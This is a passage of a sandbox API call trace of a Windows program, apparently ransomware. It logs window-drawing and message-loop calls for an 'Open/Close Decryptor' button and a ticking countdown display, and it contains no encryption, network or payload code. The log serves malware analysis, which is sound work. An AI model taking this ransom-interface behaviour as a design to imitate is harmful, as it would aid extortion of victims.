lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0170.998] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0170.998] GetSystemMetrics (nIndex=59) returned 1460 [0170.998] GetSystemMetrics (nIndex=60) returned 920 [0170.998] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.998] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0170.998] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0170.998] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.998] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0170.998] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0170.999] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.999] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0170.999] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0170.999] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0170.999] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0170.999] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0171.000] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0171.000] GetFocus () returned 0x30212 [0171.000] IsChild (hWndParent=0x10248, hWnd=0x30212) returned 0 [0171.000] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0171.000] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0171.000] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0171.000] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0171.000] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0171.001] GetClientRect (in: hWnd=0x8004e, lpRect=0x19df84 | out: lpRect=0x19df84) returned 1 [0171.001] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0171.001] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.001] GetSystemMetrics (nIndex=42) returned 0 [0171.001] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de64, nMaxCount=1 | out: lpString="") returned 0 [0171.001] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de64) returned 0x0 [0171.001] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de8c | out: lpRect=0x19de8c) returned 1 [0171.001] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0171.001] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0171.001] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0171.001] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0171.001] SaveDC (hdc=0x1b010670) returned 1 [0171.001] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0171.002] CreateSolidBrush (color=0x323533) returned 0x3910073a [0171.002] FillRect (hDC=0x1b010670, lprc=0x19dd2c, hbr=0x3910073a) returned 1 [0171.002] DeleteObject (ho=0x3910073a) returned 1 [0171.002] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0171.002] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0171.002] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.002] GetSystemMetrics (nIndex=42) returned 0 [0171.002] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0171.002] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0171.002] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de2c | out: lpRect=0x19de2c) returned 1 [0171.002] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0171.002] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0171.002] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0171.002] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0171.002] SaveDC (hdc=0x1b010670) returned 1 [0171.003] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0171.003] CreateSolidBrush (color=0x323533) returned 0x3a10073a [0171.003] FillRect (hDC=0x1b010670, lprc=0x19dccc, hbr=0x3a10073a) returned 1 [0171.003] DeleteObject (ho=0x3a10073a) returned 1 [0171.003] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0171.003] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0171.003] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.003] GetSystemMetrics (nIndex=42) returned 0 [0171.003] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0171.003] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0171.005] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0171.006] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0171.006] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0171.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0171.006] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0171.006] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0171.006] GetParent (hWnd=0x10248) returned 0x8004e [0171.006] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0171.006] GetParent (hWnd=0x10248) returned 0x8004e [0171.006] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0171.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.006] GetSystemMetrics (nIndex=42) returned 0 [0171.006] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0171.006] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0171.006] GetWindowTextLengthW (hWnd=0x30212) returned 15 [0171.006] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0171.006] GetSystemMetrics (nIndex=42) returned 0 [0171.006] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=16 | out: lpString="Close Decryptor") returned 15 [0171.007] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0x10, lParam=0x19e8f8) returned 0xf [0171.007] SetWindowTextW (hWnd=0x30212, lpString="Open Decryptor") returned 1 [0171.007] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x306c84c) returned 0x1 [0171.007] GetStockObject (i=5) returned 0x900015 [0171.007] GetStockObject (i=5) returned 0x900015 [0171.007] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0171.007] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0171.007] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0171.007] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0171.007] GetCapture () returned 0x30212 [0171.007] ReleaseCapture () returned 1 [0171.007] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0171.008] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.008] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0171.008] IsWindowUnicode (hWnd=0x30212) returned 1 [0171.008] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.008] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24b0172) returned 0x1 [0171.008] SetCursor (hCursor=0x10003) returned 0x10003 [0171.008] TranslateMessage (lpMsg=0x19ee78) returned 0 [0171.008] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0171.008] GetKeyState (nVirtKey=1) returned 0 [0171.008] GetKeyState (nVirtKey=2) returned 0 [0171.008] GetKeyState (nVirtKey=4) returned 0 [0171.008] GetKeyState (nVirtKey=5) returned 0 [0171.008] GetKeyState (nVirtKey=6) returned 0 [0171.008] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.009] IsWindowUnicode (hWnd=0x90016) returned 1 [0171.009] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.009] TranslateMessage (lpMsg=0x19ee78) returned 0 [0171.009] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0171.009] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0171.009] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0171.009] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0171.010] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0171.010] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0171.013] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.013] IsWindowUnicode (hWnd=0x30212) returned 1 [0171.013] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.013] TranslateMessage (lpMsg=0x19ee78) returned 0 [0171.013] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0171.013] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0171.013] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0171.014] CreateCompatibleDC (hdc=0x1b010670) returned 0x1a010742 [0171.014] SelectObject (hdc=0x1a010742, h=0x8050721) returned 0x85000f [0171.014] GdipCreateFromHDC (hdc=0x1a010742, graphics=0x19e8d8) returned 0x0 [0171.014] GdipTranslateWorldTransform (graphics=0x6924ef8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0171.014] GdipSetClipRectI (graphics=0x6924ef8, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0171.014] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0171.014] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6920828) returned 0x0 [0171.014] GdipIsMatrixIdentity (matrix=0x6920828, result=0x19e938) returned 0x0 [0171.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0171.014] GdipGetMatrixElements (matrix=0x6920828, matrixOut=0xf75bb0) returned 0x0 [0171.014] LocalFree (hMem=0xf75bb0) returned 0x0 [0171.014] GdipDeleteMatrix (matrix=0x6920828) returned 0x0 [0171.015] GdipCreateRegion (region=0x19e920) returned 0x0 [0171.015] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0171.015] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e92c) returned 0x0 [0171.015] GdipSaveGraphics (graphics=0x6924ef8, state=0x19e958) returned 0x0 [0171.015] GdipRestoreGraphics (graphics=0x6924ef8, state=0xfd120dbd) returned 0x0 [0171.015] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0171.015] GdipGetDC (graphics=0x6924ef8, hdc=0x19e708) returned 0x0 [0171.015] GetCurrentObject (hdc=0x1a010742, type=0x1) returned 0xb00017 [0171.015] GetCurrentObject (hdc=0x1a010742, type=0x2) returned 0x900010 [0171.015] GetCurrentObject (hdc=0x1a010742, type=0x7) returned 0x8050721 [0171.015] GetCurrentObject (hdc=0x1a010742, type=0x6) returned 0x8a01c2 [0171.015] SaveDC (hdc=0x1a010742) returned 1 [0171.015] GetNearestColor (hdc=0x1a010742, color=0x323533) returned 0x323533 [0171.015] GetNearestColor (hdc=0x1a010742, color=0x111111) returned 0x111111 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x0) returned 0x0 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x868c88) returned 0x868c88 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x6994f5) returned 0x6994f5 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x969c98) returned 0x969c98 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x868c88) returned 0x868c88 [0171.016] GetNearestColor (hdc=0x1a010742, color=0x3c3f3d) returned 0x3c3f3d [0171.016] GetNearestColor (hdc=0x1a010742, color=0x6994f5) returned 0x6994f5 [0171.016] RestoreDC (hdc=0x1a010742, nSavedDC=-1) returned 1 [0171.016] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1a010742) returned 0x0 [0171.017] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x240a0712 [0171.017] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e5c4, format=0x102415, lpdtp=0x306ce08 | out: lpchText="Open Decryptor", lprc=0x19e5c4) returned 60 [0171.018] GdipCreateRegion (region=0x19e64c) returned 0x0 [0171.018] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0171.018] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0171.018] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6915f08) returned 0x0 [0171.018] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0171.018] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0171.018] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0171.018] LocalFree (hMem=0xf75bb0) returned 0x0 [0171.018] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0171.018] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0171.018] LocalFree (hMem=0xf75be8) returned 0x0 [0171.018] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0171.018] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e68c) returned 0x0 [0171.018] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e67c) returned 0x0 [0171.018] GdipGetRegionHRgn (region=0x69251d8, graphics=0x6924ef8, hRgn=0x19e67c) returned 0x0 [0171.019] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0171.019] GdipGetDC (graphics=0x6924ef8, hdc=0x19e694) returned 0x0 [0171.019] GetCurrentObject (hdc=0x1a010742, type=0x1) returned 0xb00017 [0171.019] GetCurrentObject (hdc=0x1a010742, type=0x2) returned 0x900010 [0171.019] GetCurrentObject (hdc=0x1a010742, type=0x7) returned 0x8050721 [0171.019] GetCurrentObject (hdc=0x1a010742, type=0x6) returned 0x8a01c2 [0171.019] SaveDC (hdc=0x1a010742) returned 1 [0171.019] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2b04070e [0171.019] GetClipRgn (hdc=0x1a010742, hrgn=0x2b04070e) returned 0 [0171.019] SelectClipRgn (hdc=0x1a010742, hrgn=0xf90406fe) returned 2 [0171.019] DeleteObject (ho=0x2b04070e) returned 1 [0171.019] DeleteObject (ho=0xf90406fe) returned 1 [0171.019] OffsetViewportOrgEx (in: hdc=0x1a010742, x=0, y=0, lppt=0x306cff8 | out: lppt=0x306cff8) returned 1 [0171.019] GetNearestColor (hdc=0x1a010742, color=0x3c3f3d) returned 0x3c3f3d [0171.020] CreateSolidBrush (color=0x3c3f3d) returned 0x3b10073a [0171.020] FillRect (hDC=0x1a010742, lprc=0x19e698, hbr=0x3b10073a) returned 1 [0171.020] DeleteObject (ho=0x3b10073a) returned 1 [0171.020] RestoreDC (hdc=0x1a010742, nSavedDC=-1) returned 1 [0171.020] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1a010742) returned 0x0 [0171.020] GdipGetTextRenderingHint (graphics=0x6924ef8, mode=0x19e710) returned 0x0 [0171.020] GdipGetDC (graphics=0x6924ef8, hdc=0x19e6fc) returned 0x0 [0171.020] GetCurrentObject (hdc=0x1a010742, type=0x1) returned 0xb00017 [0171.020] GetCurrentObject (hdc=0x1a010742, type=0x2) returned 0x900010 [0171.020] GetCurrentObject (hdc=0x1a010742, type=0x7) returned 0x8050721 [0171.020] GetCurrentObject (hdc=0x1a010742, type=0x6) returned 0x8a01c2 [0171.020] SaveDC (hdc=0x1a010742) returned 1 [0171.020] GetTextAlign (hdc=0x1a010742) returned 0x0 [0171.020] GetTextColor (hdc=0x1a010742) returned 0x0 [0171.021] SetTextColor (hdc=0x1a010742, color=0x6994f5) returned 0x0 [0171.021] GetCurrentObject (hdc=0x1a010742, type=0x6) returned 0x8a01c2 [0171.021] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0171.021] SelectObject (hdc=0x1a010742, h=0x110a0722) returned 0x8a01c2 [0171.021] GetBkMode (hdc=0x1a010742) returned 2 [0171.021] SetBkMode (hdc=0x1a010742, mode=1) returned 2 [0171.021] DrawTextExW (in: hdc=0x1a010742, lpchText="Open Decryptor", cchText=14, lprc=0x19e52c, format=0x102415, lpdtp=0x306d2b4 | out: lpchText="Open Decryptor", lprc=0x19e52c) returned 60 [0171.021] DrawTextExW (in: hdc=0x1a010742, lpchText="Open Decryptor", cchText=14, lprc=0x19e690, format=0x102015, lpdtp=0x306d2b4 | out: lpchText="Open Decryptor", lprc=0x19e690) returned 60 [0171.022] RestoreDC (hdc=0x1a010742, nSavedDC=-1) returned 1 [0171.022] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1a010742) returned 0x0 [0171.022] GetFocus () returned 0x30212 [0171.022] GetFocus () returned 0x30212 [0171.022] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0171.022] GdipDrawRectangleI (graphics=0x6924ef8, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0171.022] GdipDeletePen (pen=0x6915e78) returned 0x0 [0171.022] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0171.022] GdipDrawRectangleI (graphics=0x6924ef8, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0171.022] GdipDeletePen (pen=0x6915e78) returned 0x0 [0171.022] GdipGetDC (graphics=0x6924ef8, hdc=0x19e918) returned 0x0 [0171.022] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x1a010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.023] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1a010742) returned 0x0 [0171.023] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0171.023] SelectObject (hdc=0x1a010742, h=0x85000f) returned 0x8050721 [0171.023] DeleteDC (hdc=0x1a010742) returned 1 [0171.023] GdipDeleteGraphics (graphics=0x6924ef8) returned 0x0 [0171.023] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0171.023] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0171.023] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0171.023] WaitMessage () returned 1 [0171.696] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.696] IsWindowUnicode (hWnd=0x50074) returned 1 [0171.696] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0171.696] TranslateMessage (lpMsg=0x19ee78) returned 0 [0171.696] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0171.696] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0171.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0171.696] GetSystemMetrics (nIndex=42) returned 0 [0171.696] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:12") returned 8 [0171.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0171.696] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0171.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0171.696] GetSystemMetrics (nIndex=42) returned 0 [0171.696] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:12") returned 8 [0171.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0171.696] SetWindowTextW (hWnd=0x20236, lpString="06:58:13") returned 1 [0171.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x306d3a0) returned 0x1 [0171.697] GetStockObject (i=5) returned 0x900015 [0171.697] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0171.697] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0171.697] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0171.698] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0171.698] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0171.698] GetSystemMetrics (nIndex=42) returned 0 [0171.698] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:13") returned 8 [0171.698] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0171.699] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0171.699] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0171.699] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0171.699] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:13", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x306d590 | out: lpchText="06:58:13", lprc=0x19e938) returned 50 [0171.699] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0171.699] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0171.699] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.699] GetSystemMetrics (nIndex=42) returned 0 [0171.699] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0171.699] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0171.700] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0171.700] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0171.700] CreateCompatibleDC (hdc=0x10105d6) returned 0x1c010742 [0171.700] SelectObject (hdc=0x1c010742, h=0x8050721) returned 0x85000f [0171.700] GdipCreateFromHDC (hdc=0x1c010742, graphics=0x19e8e4) returned 0x0 [0171.701] GdipTranslateWorldTransform (graphics=0x6924ef8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0171.701] GdipSetClipRectI (graphics=0x6924ef8, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0171.701] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0171.701] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6920828) returned 0x0 [0171.701] GdipIsMatrixIdentity (matrix=0x6920828, result=0x19e944) returned 0x0 [0171.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0171.701] GdipGetMatrixElements (matrix=0x6920828, matrixOut=0xf75bb0) returned 0x0 [0171.701] LocalFree (hMem=0xf75bb0) returned 0x0 [0171.701] GdipDeleteMatrix (matrix=0x6920828) returned 0x0 [0171.701] GdipCreateRegion (region=0x19e92c) returned 0x0 [0171.701] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0171.701] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e938) returned 0x0 [0171.701] GdipSaveGraphics (graphics=0x6924ef8, state=0x19e964) returned 0x0 [0171.701] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0171.701] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0171.701] GetSystemMetrics (nIndex=42) returned 0 [0171.701] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:13") returned 8 [0171.701] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0171.701] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0171.701] GdipCreateRegion (region=0x19e780) returned 0x0 [0171.702] GdipGetClip (graphics=0x6924ef8, region=0x69254c8) returned 0x0 [0171.702] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0171.702] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6915f08) returned 0x0 [0171.702] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0171.702] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0171.702] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0171.702] LocalFree (hMem=0xf75be8) returned 0x0 [0171.702] GdipCombineRegionRegion (region=0x69254c8, region2=0x69251d8, combineMode=0x1) returned 0x0 [0171.702] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0171.702] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0171.702] LocalFree (hMem=0xf75be8) returned 0x0 [0171.702] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0171.702] GdipIsInfiniteRegion (region=0x69254c8, 